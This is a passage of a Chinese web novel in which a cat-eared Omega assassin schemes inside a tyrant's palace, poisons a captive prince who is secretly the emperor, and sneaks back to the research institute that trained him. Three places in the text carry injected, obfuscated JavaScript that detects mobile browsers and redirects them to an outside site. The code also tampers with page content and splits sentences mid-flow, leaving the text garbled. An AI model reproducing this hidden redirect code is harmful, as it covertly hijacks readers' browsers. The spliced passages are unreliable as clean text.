他想起了昨天晚上闯入他易感期的Omega,也是一只白猫,人形兽耳,还有一条很敏感的尾巴。 唐穆见状,立刻道:“楚欢亲王想要献给陛下,已在审讯室查验过,是法尔研究院的拍卖品,不是昨晚的刺客。” 楚勝的眼中闪过一丝诧异,这会儿他才是有点兴趣了。 居然没有死。 唐穆不知道昨晚闯入玻璃房的就是一只白猫,自然将人给排除了,但是他知道,而那只白猫竟然活下来了。 楚勝往后靠了靠,想起昨晚白猫那句“我是你哥哥楚勝的Omega”,悠悠道:“给他安排个房间吧。” 唐穆一愣:“陛下不见见吗?” 楚勝重新将目光落在了虚拟投影上,淡淡道:“不了,养伤需要安静,谁来都不见。” 那只小白猫杀心那么重,手里还带着匕首,他倒要看看,想杀他,还有什么本事。 “是。” . 洛湫怎么来的又被怎么送了回去,他抿了抿唇,眼底闪过一丝冷意。 连自己的弟弟都不见,看样子是伤得挺严重的,另一个刺客还挺有本事的,这倒成了他的好机会。 “陛下说先将你安顿一下,就不回楚欢亲王那里了,这位是柏管家,由他带你去今后住的房间。”唐穆旁边站了一个人,穿着管家的衣服,手臂上搭着一条毛巾,衣服穿得十分整齐,没有一丝褶皱。 柏城笑着对洛湫道:“随我来吧。” 洛湫看了一眼唐穆,跟着柏城离开,他总觉得这个唐穆上将那张冰块脸这会儿很臭。 一路上,这位老管家都在打量洛湫,洛湫忍了半天,开口问他:“你一直看着我做什么?” 柏城笑道:“您别介意,这还是陛下第一次收Omega,以往有人给陛下送人,陛下全都是不要的。” 洛湫不动声色,问:“可能是因为楚欢亲王吧。” 这暴君还挺洁身自好的?怎么这次偏偏就把他留下了呢?明明连面都没见过,难道就因为他能够安抚s级alpha的信息素? 不过不管怎么样,能留下来就有机会。 柏城听了他的话,却是摇了摇头:“楚欢亲王之前看见个好的Omega也不是没给陛下送过,但陛下全都拒绝了,唯独留下了您。” 洛湫不解:“为什么呢?” 柏城摇了摇头,看着洛湫,也十分不解,但终归是笑着道:“陛下的心思没人能猜透,不过既然留下了您,想来在他心里,您一定是特殊的。” 洛湫:“……” 特殊在那里?面都没见过的特殊? 柏城将他带到房间:“这间房间离陛下挺近的,方便他随时召您,您有需要就喊我,我先忙去了。” 洛湫点了点头,进了房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但也许是里间有什么机密,唐穆并没有贸然进来,而是恭敬地问:“陛下,属下方才听到动静,您没事吧?” 房间里一片寂静。 就在唐穆要往里面走时,外面突然有人来报:“上将,花房那边好像出事了!” 脚步声迅速离开,房间门被关上,重新恢复了安静。 洛湫轻轻松了口气,发觉两人的姿势不对,方才情急之下,两个人抱在一块,杯子一盖,空间一下子逼仄了起来,他们两个人贴的很近,楚勝的呼吸都喷洒在他的脸上,他整个人被对方压着,和那人的胸膛紧紧贴着,隔着一层布料,洛湫能清晰地感觉到布料下对方紧实的肌肉线条,记忆一下被拉到了昨晚标记的时候。 他耳尖微微发烫,想要将人推开:“你怎么会在这儿?” 他的腿一动,碰到了楚异的腿,但与此同时,还有一个坚硬冰冷的物什,像是套在对方脚踝上的一个环。 洛湫瞬间想到了那个电击环。 他推了推楚异:“人走了,放开我。” 楚勝让开了身位,洛湫连忙从床上起来,还没拉开距离,尾椎骨被扯了一下,整个人又如同过电一般,他一转头,便看见自己的尾巴被那人捏在手里,偏偏对方像是才反应过来,一脸抱歉道:“刚刚你的尾巴露在了被子外面,我怕被唐穆发现才攥在手里了。” 洛湫把自己的尾巴扯回来,整张脸红得要滴血。 5. 第 5 章 只是尾巴被人拽了一下,也太刺激了,不亚于在他的腺体上咬了一口,他缓了好一会儿才把脸上的温度降下去。 楚勝没想到把人逗成这样,看着洛湫道:“抱歉,真的不是故意的。” 洛湫见楚勝确实不是存心的,便将这事儿翻过去了:“你怎么会在这儿?你不是被锁链锁在池子里吗?” 楚勝抬起食指放在唇上“嘘”了一下:“偷偷出来的,别告诉别人。” 洛湫深深看着他,神色有些冰冷:“既然池子里的锁链锁不住你,你为什么不跑?” 楚勝笑着道:“我跑不掉的。” 洛湫闻言,目光不由自主地落在了楚勝的脚踝上,对方这会儿刚从床上坐起来,身上的衣服也有些凌乱,他看到楚勝脚上戴着的东西。 果然是电击环。 洛湫地目光刚触及,那人便将衣服整理好,裤脚落下,盖住了电击环,将他身上的耻辱全部遮住。 他重新看向楚异,眸光中多了点怜悯。 池底的锁链困不住楚异,s级的强大信息素,这样的天之骄子,却被囚禁在那个花房里,戴着屈辱意味的电击环,永远也无法离开皇宫。 楚异对于楚勝来说究竟是什么呢?这样囚禁着,怎么看也不像是弟弟的待遇,这人说不定能够成为他的助力? 洛湫收回了目光,没再看楚勝,似乎这样就能减少对方的难受:“那你为什么会到陛下的房间来?” 楚勝温和地笑了笑,将洛湫的神色尽收眼底:“来偷东西。” 洛湫本来想说,他好歹是亲王,在皇宫里还得靠偷吗,但又想到对方的处境,便也没话了,只能问:“偷什么?” 楚勝:“出宫的令牌。” 洛湫闻言一愣:“出宫的令牌?你不是说你没办法离开皇宫吗?” “只是想出去看看,哪怕只是一眼,我都不知道皇宫外面是什么模样。” 洛湫看着楚勝,对方眼底的那份落寞如果是演戏,那可真是太厉害了,他犹豫了一下,还是道:“其实也没什么不一样,就是比这里热闹一点。” 片刻后,床上传来一声轻笑。 洛湫耳尖微红,轻轻甩了甩尾巴,意识到自己似乎说的太多了,正要走,却看见楚勝轻轻皱了皱眉,虽然很淡,但洛湫很擅长动态捕捉,再微小的动作也逃不过他的眼睛:“你怎么了?” 楚勝眼底闪过一丝诧异,没想到洛湫的反应这么快,他摇头道:“没事,我想我该回去了,花房那边他们已经发现我不见了。” 洛湫想起刚才引开唐穆就是因为有士兵发现花房不对:“那你赶紧回去吧。” 他说完就要走,又想到什么,回头凶着威胁道:“今天的事就当没发生过,你今晚没见过我,我也没见过你,知道吗?” 楚勝又笑了一声:“那在没见过你之前,可以问你个问题吗?” 洛湫步子一顿:“什么问题?” 楚勝看着他,悠悠地问:“你为什么偷偷跑到我哥哥的房间里呢?” 洛湫:“……” 一瞬间,洛湫就起了杀心,如果楚异猜到他的身份,那他就只能杀掉对方了。 但楚异的身份不允许他突然消失,如果杀掉,恐怕打草惊蛇,昨夜的刺客没能将暴君一击毙命,已经是打草惊蛇了,现在不能节外生枝,可如果楚异猜出他杀手的身份,他任务失败,死的就是他了。 洛湫冷着一张脸,注视着楚勝,脑海里一个接着一个的猜测与处理办法闪过。 最终,他开口道:“我……我进宫还没见过陛下,想偷偷溜进他房间,争取……侍寝。” 一个谎言需要无数个谎言来圆,洛湫终于体会到了,他当时以为不会再见到眼前这个人,信口胡扯,没想到回旋镖扎了回来。 但这是目前最稳妥的办法了,就看楚异能不能被他糊弄过去。 楚勝倒是没说什么,只是神色有些古怪:“……你想侍寝?” 洛湫抿唇:“我是陛下的Omega,想和陛下亲近一些,获得荣宠,不可以吗?” 楚勝的神色更加古怪了:“百分百契合度的临时标记应该没那么快消失,如果你今晚真的成功了,那才是你真正的死期。” “你自己说的,如果让我哥哥知道我把你标记了,我们两个都得死。” 洛湫:“……那我还得感谢暴…陛下今晚不在了?” 楚勝下一句话,却直接让洛湫眯起了眼睛:“你那么聪明,甚至那天还要跟我划清界限,怎么转头就忘了?或许……你的目的并不是这个?” 洛湫的手不动声色地碰到了他的匕首上,但随即又想到了另一个办法,他摸着自己的腺体,突然倒在地上,别扭地喊了一声:“疼……” 楚勝一怔,立刻走到了洛湫身边,想要去看对方的腺体:“是临时标记对你产生了什么影响……” 他话还没说完,一道银白色的光一闪而过,楚勝反应极快地往后退了退,但洛湫并不是要杀他,那匕首本也不会要了他的命,只是洛湫出手也极快,那匕首贴着楚勝的脖颈侧面,划出了一道浅浅的血痕。 有血珠从伤口处滑落,楚勝没有理会,只是望着地上的洛湫,淡蓝色的眼瞳中凝起一层碎冰。 没良心的小猫,他刚替对方化解危机,反手却要杀他。 洛湫在楚勝的注视下擦了擦匕首上的鲜血,贴身放了回去:“我没想杀你,但匕首上涂了从蓝环章鱼身上提取的信息素制成的毒液,只要你乖乖听话,我会把解药给你。” “记住了,你今天没见过我。” 等他回到房间,紧绷的身体才缓缓松了下来。 楚异的身份存疑,虽然楚欢说确有其人,但洛湫也不能完全信了皇宫里的人,他必须得回研究院一趟,彻底查一查楚异的身份信息,顺便取一下解药。 楚异说出宫需要令牌,洛湫想到了一个人,于是在一众士兵的注目礼下,大摇大摆地去找楚欢。 “这就是楚欢亲王送来的Omega啊?” “难怪陛下这次把人留下了,这耳朵看起来好软,好想撸一下。” “那条尾巴……不敢想要是缠在腿上得有多涩。” “不过我听说这Omega有s级的信息素和精神力,挺恐怖的,咱们这儿好像没人s级吧,不会咱们连个Omega都打不过吧。” “也只有陛下能够驯服这样的Omega了。” “那不好说,毕竟AO的实力差距摆在那里,说不定我也行呢。” “那你试试?” “我不敢,怎么说现在这白猫也算是陛下的人了,我这不是找死吗?” 几个人正你一言我一语地背后议论着,突然嗅到了一股雪的清味,下一秒身上一重,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180910|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人都要趴下了。 身体里的信息素叫嚣着,他们看着白猫去而复返,那信息素更加的浓郁。 Omega的信息素竟然能压制alpha,s级的实力也太强悍了,他们只知道陛下恐怖,没想到这只白猫Omega也一样的恐怖。 洛湫冷冷地瞥了他们一眼:“就算你们敢,也一样是找死。” 洛湫说完,没再理会他们,朝楚欢的房间走去。 “你……你怎么来了?”楚欢看见门外的洛湫,眼底的惊讶带了点畏惧。 洛湫也扫了一眼楚欢的腰间,没有什么出宫令牌,没带在身上,他进门问:“你平时是不是经常出宫?” 楚欢愣了愣,不明所以:“也没有很经常吧,不过宫外确实比较好玩。” 洛湫点点头:“那你是怎么出宫的?” 楚欢:“就……走出去啊。” 洛湫:“……” 难怪暴君没把楚欢杀了,就算把王位放到楚欢面前,这人也不会坐。 “不用令牌吗?” 楚欢摇头:“我哥说了,我想去哪随便我。” 洛湫挑眉:“所以,你出入皇宫不需要令牌?” 楚欢狠狠点头,甚至有点小得意:“这可是我哥给我的独有的恩宠!” 洛湫一言难尽地看了他一眼。 楚欢收敛了表情,问:“你想出宫?” 洛湫立刻转移对方的注意力:“不,我想见暴……陛下。” 楚欢:“你为什么这么想见我哥?” 洛湫看了他一眼,随口道:“我发.情期快到了,既然名义上已经是陛下的Omega,他对我应该有安抚的义务。” 楚欢突然笑了起来:“我哥还从来没有过Omega呢,乍一听你这么说,有点不适应,不过我哥可是华利亚帝国的王,他对你可没什么义务,只有他需要你的时候,你才能见到他。” 洛湫抿了抿唇,眉头轻蹙:“那我的发.情期怎么过?” 虽然这只是他随口扯的,他的发.情期还有些日子,不过终归也是要来的,打听一下也没什么关系。 楚欢建议道:“打抑制剂吧,或者你要是怕疼,也可以扛过去,就看你的意志力了。” 洛湫不以为然,本来也就是随口一问,他的发.情期一向是靠抑制剂的。 楚欢的注意力已经忘了他刚才要出宫的事,洛湫的目的达到,便回了自己的房间。 他躺在床上,想着如何找到暴君的令牌。 既然楚异出现在暴君的卧室,那令牌应该就在卧室里,看来他还得趁暴君不在,再去一趟卧室。 他正想着,手无意识地摸了摸腺体的位置,不知道为什么,和楚异接触了一下,他的腺体总是胀胀的,不疼也不痒,但有点怪怪的感觉,像是……期待再被咬上一口。 这个想法一旦滋生,洛湫猛的把手从腺体上移开。 他明明记得,楚异那天咬他腺体标记还挺疼的,怎么这还能上.瘾吗? 他顿时皱起了眉头,但腺体不止发胀,还有点烫,他似乎需要一点信息素来安抚一下隐隐躁动的腺体,最好是海洋味的信息素…… 这个想法如同奔涌的海水,一旦倾泻,止都止不住。 洛湫一贯冷静的脑海中突然闪过一片空白。 他的发.情期,可能要提前了。 6. 第 6 章 “陛下,您受伤了!” 卧室里,柏城看着楚勝脖子上那道血痕,面露惊恐。 这皇宫里竟然还有人能伤的了陛下,这怎么可能呢? 他拿了药放到桌子上,却没有靠近楚勝,只是远远看着。 楚勝的目光扫了一眼镜子,镜子中映出他脖颈侧面的伤口,这伤并不严重,只是一道浅浅的口子,鲜血也很快止住,最多一个星期就能好:“不碍事,只是小猫的爪子太锋利了,挠出血了。” “猫?”柏城一愣,“这皇宫里哪有猫啊?” 再说,就算真有猫,恐怕碰到陛下的一瞬间就被陛下身上的剧毒毒死了吧。 “哦!说起猫,这皇宫里还真有一只,陛下说让安顿的,白猫Omega,就在二楼的客房,离陛下这儿不远。” 楚勝只是看着镜子中倒映的血痕,侧目却好似睥睨一切,与方才那份温和截然不同:“没良心的小猫,该吃点教训。” 还在匕首上抹什么蓝环章鱼的毒,他身上的毒可比蓝环章鱼要毒多了。 柏城虽然不太明白楚勝究竟指的是哪一只猫,但还是问道:“陛下有什么吩咐吗?” 楚勝拿出一块令牌扔在桌上,噙着笑道:“你去和唐穆说,吾的通行令被盗了,让他务必在明日找回来。” 柏城看了一眼桌上的通行令,垂首应道:“是,陛下。” . 洛湫给自己打了一针抑制剂,又贴了一个腺体贴,这才压制住了心里的那点冲动。 草草解决了发.情期的预兆,他又计划去探一探暴君的卧室,既然楚异在暴君的卧室里找,那令牌必定在房间里。 他正要出门,房间门同时被人打开,对上了柏城的一张笑脸,对方手里端着一盘吃食:“您是要出去吗?” 洛湫也只能点头:“有些无聊,想出去看看。” 柏城将吃食放在桌上,对洛湫嘱咐道:“外面不太平,您还是不要乱跑的好。” 洛湫抬眸,不动声色地问:“出什么事了吗?” 柏城:“也不是什么大事,陛下的通行令丢了,正让唐穆上将找呢,还说明天之前得找回来。” 洛湫抿唇不语,暴君那块通行令丢了,那他去了也没用了。 这么说,难道是楚异得手了? 柏城送完吃的就离开了,洛湫迅速将东西吃了,又偷偷溜了出去。 他轻车熟路地绕开那些守卫,朝着花房走去。 他原本以为,楚异出来被发现,花房会有守卫,没成想仍旧一个人也没有。 他就这么堂而皇之地走了进去,只见那一大片池子最里面,一抹淡蓝色正趴在池子边上,长发垂落在池子里,像是一条搁浅在岸边的鲛人,美丽却濒死。 洛湫朝着池子里看了一眼,锁链重新缠在了楚异的脚腕上,至于其他的,他就看不出来了,楚异毕竟是亲王,即便偷偷溜出来了一会儿,也不至于被折磨吧。 他这么想着,刚绕到里面去看楚异,对方眼皮一颤,睁开眼正好同他对上了视线,淡蓝色的眼瞳有一瞬间的失焦,随即看清了人,重新闭上了眼睛。 洛湫错愕:“你……你在生气?” 楚勝仍旧闭着眼,趴在池子边,露出大半精壮的后背,语气不冷不淡:“不是你说的吗?我们没见过。” 洛湫垂眸看着他,一时也不知道说什么,只能道:“我只是让你别告诉别人。” 楚勝淡淡笑着:“做戏总要做全套。” 洛湫抿着唇,目光忽然瞥见了楚勝支着脑袋的手上,那手腕上的电击环没有再戴着,但上面却留下了一道电击后的痕迹,他眉头一紧:“他们发现你不在花房,对你用刑?” 楚勝这才抬起头,顺着洛湫的目光落在自己的手腕上,他迅速将手放进了池子里,直起身问:“你在关心我吗?” 洛湫:“……没有,我只是来告诉你,陛下的通行令丢了,正让唐穆找呢,说明天之前必须找到。” 楚勝看着他,问:“所以?” “所以……通行令是你拿的吗?” 楚勝没有承认也没有否认,只是噙着一抹浅淡的笑意,随口问着:“如果我说是,你要告发我吗?” 洛湫犹豫了一下,在池子边蹲下来,低声道:“如果是你拿的,可以借我吗?” 楚勝看向他:“你要出宫?” 洛湫点头。 “离开皇宫吗?你不是想要获得我哥哥的荣宠吗?这就走了?” 洛湫眨了眨眼:“我不走,我出宫给你拿解药。” 楚勝眸光一顿,似乎没想到洛湫是这个理由。 洛湫说完便觉得这话听起来有点怪,于是又冷着脸道:“你要是想被毒死,也可以不借给我。” 他话音刚落,对方已经将通行令递到了他的面前,洛湫接过令牌,眸光又不由自主地落在了楚异腕上的伤痕上,没等他多想,那人道:“希望你能在我毒发之前赶回来。” 洛湫:“……我尽量。” 他拿着通行令一路出了宫,直奔法尔研究院。 那是一间座落在华利亚帝国首都最负盛名的研究院,专为皇室提供新型的研究产品,有着和皇宫一样的保护。 他原本属于这里,但如今被送到了皇宫,又是偷偷溜出来的,没办法从大门进去。 他从外面找到距离信息库最近的位置,绕开守卫,用最快的速度蹿到了屋顶上,再贴着墙跳到信息库锁在的楼层。 信息库里这会儿没有人,他进入里面,关上门,没有发出一点声响。 法尔研究院的信息库有整个星际最全的信息系统,洛湫可以在这里查到任何人的信息。 但那个暴君的信息太少了,就连研究院也无法收集到太多,更不可能具体到暴君平时在什么地方,甚至连对方易感期也无从得知,如同密不透风的墙,让人一点儿也看不到里面。 他打开信息库,这一次搜索的是,楚异。 楚异。 alpha。 s级信息素海洋。 华利亚帝国皇族,新王楚勝一母所生的亲弟弟。 信息库里,关于楚异的信息也不多,比起楚勝只是多了一点点,但对于洛湫来说已经足够了。 这世界上任何人都可能会骗他,但法尔研究院的信息库绝对不会骗他。 洛湫关上了信息库,将一切恢复原来的模样,又摸到了药剂库,蓝环章鱼的信息素里所含的剧毒被研究院提炼之后也同时研究了解药,但解药并不多,一种是可以延缓毒发,另一种能直接解掉毒素,他想了一下,将两种都带在了身上。 将东西整理完,洛湫正要走,门口传来了开门的声音。 洛湫连忙躲了起来。 来的人正是当时将他送去拍卖场的米利教授,他一个人进了药剂库,将门关上,绕到了蓝环章鱼的解药存放处。 洛湫知道自己已经善后完毕,不会露出马脚,但米利教授仍旧道:“出来吧。” 洛湫一愣,没动。 “我闻到你的信息素了,洛湫。” 洛湫摸了摸脖颈上的腺体,腺体贴仍旧覆盖在腺体上,但腺体还是胀胀的,并未恢复。 他从暗处走了出来,看向米利,周围绿色的投影打在他的身上,像是一个虚拟人物,从某台仪器里走出来似的。 米利的语气很柔和,脸上也带着微笑,却和那日在拍卖场害怕他的神情截然不同:“你怎么回来了?” 洛湫抓了抓自己的头发:“我……我的发.情期提前了,抑制剂不够了,回来取一点。” 米利有些诧异地看着他:“发.情期怎么会突然提前?是遇到什么困难了吗?” 洛湫摇了摇头:“没事,我自己能解决,我得赶紧回去了。” 米利笑了笑,并没有应答,下一秒,洛湫脸色一白,整个人蜷缩着倒在了地上,绿色的投影落在他的身上,像是将他从头到尾扫描着。 米利走到他身边,居高临下地望着他:“你没有对我说实话,怎么?出去一趟就忘记自己是谁了吗?” 洛湫只觉得自己全身的骨头都被打碎了似的,整个人疼得厉害,而这样的疼痛其实在之前的训练中,每一日都会有,米利是研制和调.教他的人,在对方手里,他毫无反抗之力。 米利蹲了下来,摸到了洛湫的腺体,将腺体贴撕是下来,他眼底闪过一丝诧异:“临时标记?看样子你确实遇到了一些麻烦,我记得我给你下达的任务是杀掉新王楚勝,那么这些日子,你在做什么呢?” 洛湫咬着牙,从唇缝里挤出来一些气音:“我正在想办法接近他。” 米利笑了一下:“哦?这个办法,包括被一个陌生的alpha临时标记?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180911|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛湫忍着痛,冷声道:“没有下次了。” 米利点头,揉了揉洛湫柔软的头发,像是温柔地抚摸着他:“好孩子,但是我还是要看一看你这两天发生了些什么,可以吗?” 这虽然是个问话,却并没有给洛湫拒绝的机会。 周围的投影在一瞬间移动,全部集中落在洛湫的头部,中央的屏幕上有画面跳动着,从模糊到清晰。 洛湫随着记忆信息被提取,疼痛彭地炸开来,电流在他的头部穿梭,屏幕画面清晰的同时,他也昏死了过去。 等他再醒来的时候,周围的一切都回到了原本的模样,绿色的全息投影变成了透明。 米利正一脸和蔼地望着他:“辛苦了,好孩子,你该回去了。” 洛湫垂下眼眸,将眼底的情绪藏了起来,他应了一声,刚要起来,突然想到什么,问:“我可以从大门走出去吗?” 米利不明所以:“当然可以。” 洛湫这才光明正大地从法尔研究院走向皇宫。 他刚刚就在想,既然他拿的是暴君的通行令,门口的守卫怎么会认不出来?知道暴君的通行令被偷了,竟然还是放他出来了,实在奇怪。 看样子,他要被当成皇宫里的另一个刺客了。 那可真是天大的冤屈。 洛湫走到门口,果然皇宫门口的守卫多了不少,就连唐穆也站在门口,定定地望着他。 守株待兔的意味实在太过明显。 他走到唐穆面前,冷冷与对方对视,一边已经有人拿上电击环走了过来,等着唐穆把他拿下,戴上电击环,送去审讯室。 但唐穆没有动手,而是问他:“你偷了陛下的通行令?” 洛湫取出通行令递给唐穆:“是我,不过我是有原因的。” 唐穆点了点头:“你乖乖跟我去审讯室,我不给你戴电击环。” 洛湫瞥了一眼旁边的手环,虽然他并不怕这玩意儿,但既然能不戴,那就不戴吧。 他抬头对唐穆道:“我跟你走。” 审讯室。 洛湫第二次进审讯室了,也不知道还会不会有第三次。 对面唐穆已经开始了审问:“你为什么偷通行令?” 洛湫道:“楚欢说皇宫不能随意出入,但是我的发.情期提前了,抑制剂不够,必须回法尔研究院取一趟,所以才偷了通行令。” 唐穆脸色还是一样的臭:“你可以申请。” 洛湫眨了眨眼:“和谁申请?” 唐穆指了指自己:“我,你可以和我申请,报备之后我可以放你出去。” 洛湫微微睁大了眼睛,宝石红的眼瞳中带了丝惊讶:“没人告诉我,抱歉,我以后不会这么做了,如果有需要,我可以和陛下当面道歉。” 唐穆却只是将通行令拿在手里,摇头拒绝:“不必,我会同陛下说明一切,Omega发.情确实十分重要,陛下应该会原谅你的,审讯完毕,可以离开了。” 洛湫没想到唐穆竟然这么好说话,不过他刚才说要见陛下,却被对方拒绝了,这人……怎么感觉在阻止他见陛下? “对了,出宫的申请你直接和我说就行,别人会阻拦你,你找我,我批。”唐穆回头,叮嘱道。 洛湫看着那人高大的背影,缓缓皱起了眉头。 这是什么意思?不让他见陛下,却又帮他的忙? 好奇怪的一个人。 不过对方没有怀疑他,倒是让洛湫松了口气,即便暴君怀疑他,让唐穆去查,也只会查到他确实去了法尔研究院,拿了抑制剂。 洛湫从审讯室出来,看了一眼天色,忽的脸色一变。 楚异的毒不会已经发作了吧! 他连忙朝花房跑去。 洛湫一到花房,目光就落在了池子边趴着的楚异身上。 气质温和的美人露着一整个后背,振翅欲飞的蝴蝶骨上布满水痕,格外美丽,最令人震惊的是那一头浅蓝色的长发变成了银白色,仿佛枯草一般垂在水里,裸露的后背上若隐若现的蓝环,是章鱼的信息素流经对方的血液,毒素蔓延。 洛湫看着池边奄奄一息的人,心底一沉,他连忙跑了过去,只见楚异费力地抬起眼皮看着他,眼底闪过一丝欣喜:“我以为你把我抛弃了。” “还好你没有,”楚异的唇边漾开一抹淡笑,“再见到你真好,洛湫。” 7. 第 7 章 洛湫从来不知道,原来自己的名字被人念出来能够这样动听,好似带着无尽的缱绻,别有一番滋味。 他有些心虚地躲了躲楚异的目光,将压制毒素的解药递到了对方的嘴边,喂给了快要昏过去的楚异。 指腹碰上了对方微凉的唇,软软的,像果冻一样。 就是这样柔软的东西,之前贴在他的腺体上,轻轻含住。 意识到已经在想什么,洛湫猛的收回了手,耳尖又烫了起来。 他明明都打了抑制剂了,怎么这会儿腺体又发涨起来。 他动作顿了顿,看见楚异的毒被压制了下去,银白色的枯发重新变回了蓝色,背上的蓝环也逐渐消失,他这才放下心来:“你怎么知道我的名字?我好像没告诉过你我叫什么。” 楚异似乎还没彻底缓过来,仍旧趴在池子边,枕着手看着洛湫:“只许你查我,不许我打听你的名字吗?” 洛湫看着楚异因为毒性发作疼痛导致的唇色发白,已经额角微微渗出的汗水,抿唇道:“随你吧。” 他收了手里的解药,对楚异道:“这解药可以压制你体内的毒发作,一次大概能抵半个月,等到你体内的毒素被全部代谢,也就不需要解药了。” 楚异闻言,唇角的笑意多了点无奈:“你还是不信我。” 洛湫淡淡道:“我不会相信任何人,只要你乖乖听我的话,不把我的事告诉别人,你暂时不会死。” 楚异望着他,似乎是恢复了一些精力,似笑非笑道:“好的,我一定不会把你的事告诉任何人,乖乖等你的解药。” “乖乖”两个字,似乎咬了点重音。 洛湫没察觉什么不对劲,冷着脸应了一声,解决了楚异身上的毒,正准备离开,像是又想起什么,回头道:“你今天……” 他话还没说完,便被楚异打断:“我今天没见过你,你也没见过我。” 洛湫的话被抢,他只能又“嗯”了一声。 楚勝无奈地用一只手支着下颌:“我有点好奇你想做什么,说不定我能帮你呢?” 洛湫的动作一顿,转头看向池子里的人,那人噙着笑望着他,淡蓝色的眼瞳澄澈明亮,不像是要算计什么。 他眸光微顿,重新走了回去,在池子边坐下来:“那你说说,你哥哥是个什么样的人。” 楚勝唇边的笑意一僵:“你给我下毒,不让我把你的事说出去,到最后只是为了打听我哥哥的事?” 洛湫一本正经地点头,丝毫没感觉到对方越来越沉的脸色:“我要获得陛下的荣宠,当然得知道他是一个什么样的人,喜好什么,忌讳什么,厌恶什么,这样才能保管他见到我第一眼,就喜欢我。” 楚勝抿着唇挑眉:“你都没见过我哥哥,为什么就非要获得他的荣宠呢?” 洛湫再次胡扯道:“陛下是华利亚帝国的王,没有哪个Omega不为他心动吧?” 楚勝闻言,唇边的嘴角又扬了起来:“所以,你也喜欢他?” 洛湫看不懂眼前的人一会儿不高兴,一会儿又高兴的,只管点了点头。 楚勝这会儿药剂发挥了作用,身上有了力气,便直起身子,靠在池子边,像是同洛湫说悄悄话一般:“我哥哥……他脾气不太好,喜怒无常的,你可能看他在笑,但他心里说不定想的是怎么折磨你,这样的王,你也喜欢吗?” 阴晴不定的脾气,果然是暴君! 洛湫眼睛也不眨,瞎说道:“身为帝王,喜怒不形于色,让人捉摸不透,这叫心有城府,是王应有的气势。” 楚勝看着洛湫,突然来了兴致:“我哥哥他手段狠辣,杀人不眨眼,哪怕是最亲近的人他也能狠心杀了,这样的恶魔,你也喜欢?” 弑父杀母,就连亲弟弟也不放过,果然是暴君! 洛湫接着闭眼瞎扯:“身为帝王,没有铁石心肠,怎么能在王位争夺中活下来?没有手段,又怎么能坐稳王位?这是王应有的谋略。” 楚勝笑着道:“我哥哥他不喜欢Omega。” 洛湫:“……这,这是陛下不耽于美色,事业心强,将所有的精力都奉献给了帝国。” 楚勝看着小白猫一本正经地胡说八道,眼底的笑意更浓郁了:“哦,这么喜欢我哥哥啊。” 洛湫狠狠点头:“你刚才不是说要帮我吗?那你不如帮我出出主意,怎么样才能走进你哥哥的心里呢?” 楚勝轻笑道:“我不是说了吗,我哥哥不喜欢Omega。” “哦……”洛湫面无表情地凑近楚异,伸手扯住了楚异一缕淡蓝色的长发,将那人与自己拉近,“你要是不帮我,下次毒发我也不管你。” 楚勝吃了痛,被迫抬头看着洛湫,少年居高临下地望着他,气势仿佛比他这个alpha还要凶,他不怒反笑:“好,我帮你。” 洛湫这才松开了楚异的头发,这人发质还挺好的,柔软又顺滑,可能是天天泡在水里的缘故,又或者水母的头发就是这样? 他正想着,自己的头发被对方揉了一下,他连忙歪头躲开,皱着眉头看向楚异:“你干嘛!” 楚勝的手停在半空:“你的头发乱了,出去了一趟,好似谁把你的头发当毛撸了。” 洛湫随手扒拉了自己的头发两下,拿上东西就走。 楚勝又笑了一下,这小猫真不经逗。 “这就走了?不想知道怎么获得荣宠了吗?” 洛湫瞬间停住了脚步,回头问:“你有什么办法?” 楚勝道:“我哥哥虽然不好相处,心狠手辣,也不喜欢人靠近,不过他很喜欢吃甜点。” 洛湫一愣:“甜点?那柏城管家不是天天送吗?” 楚勝靠在池子边,摇头道:“我哥哥从来不会动那些东西,糕点吃两口也就放下了,就算他喜欢,也不会多吃的。” 洛湫一时沉默,他突然知道为什么法尔研究院没有暴君的详细资料了,因为暴君藏得太深,哪怕是柏城又或者唐穆都不知道他的喜好。 他又狐疑地看向楚异:“那你为什么会知道?” 楚勝对上洛湫的目光,建议道:“我不喜欢你用这样的眼神看我,希望下次我能看到你稍微友好一点的目光。” 洛湫抿了抿唇,垂下了眼眸。 楚勝微笑:“我是他亲弟弟,从小和他一起长大,即便如今被困在这里,好歹曾经也和他朝夕相处过,不过他要是口味变了,我也不能保证哦。” 洛湫淡淡应了一声,现下也没有什么别的办法,暴君一直不肯见他,他又找不到暴君的行踪,一直耗着迟早会暴露,还不如想办法让暴君对他产生兴趣,主动召见他。 “我知道了。”洛湫留下这句硬邦邦的感谢,转身就走。 楚勝看着洛湫的背影,那细长的尾巴竖在对方的身后,随着动作甩动着,他不由得提了提唇角。 没良心的小猫,道谢都这么没诚意。 . 洛湫看了一眼天色,已经很晚了,这会儿给暴君做甜点不太现实,于是先回了房间。 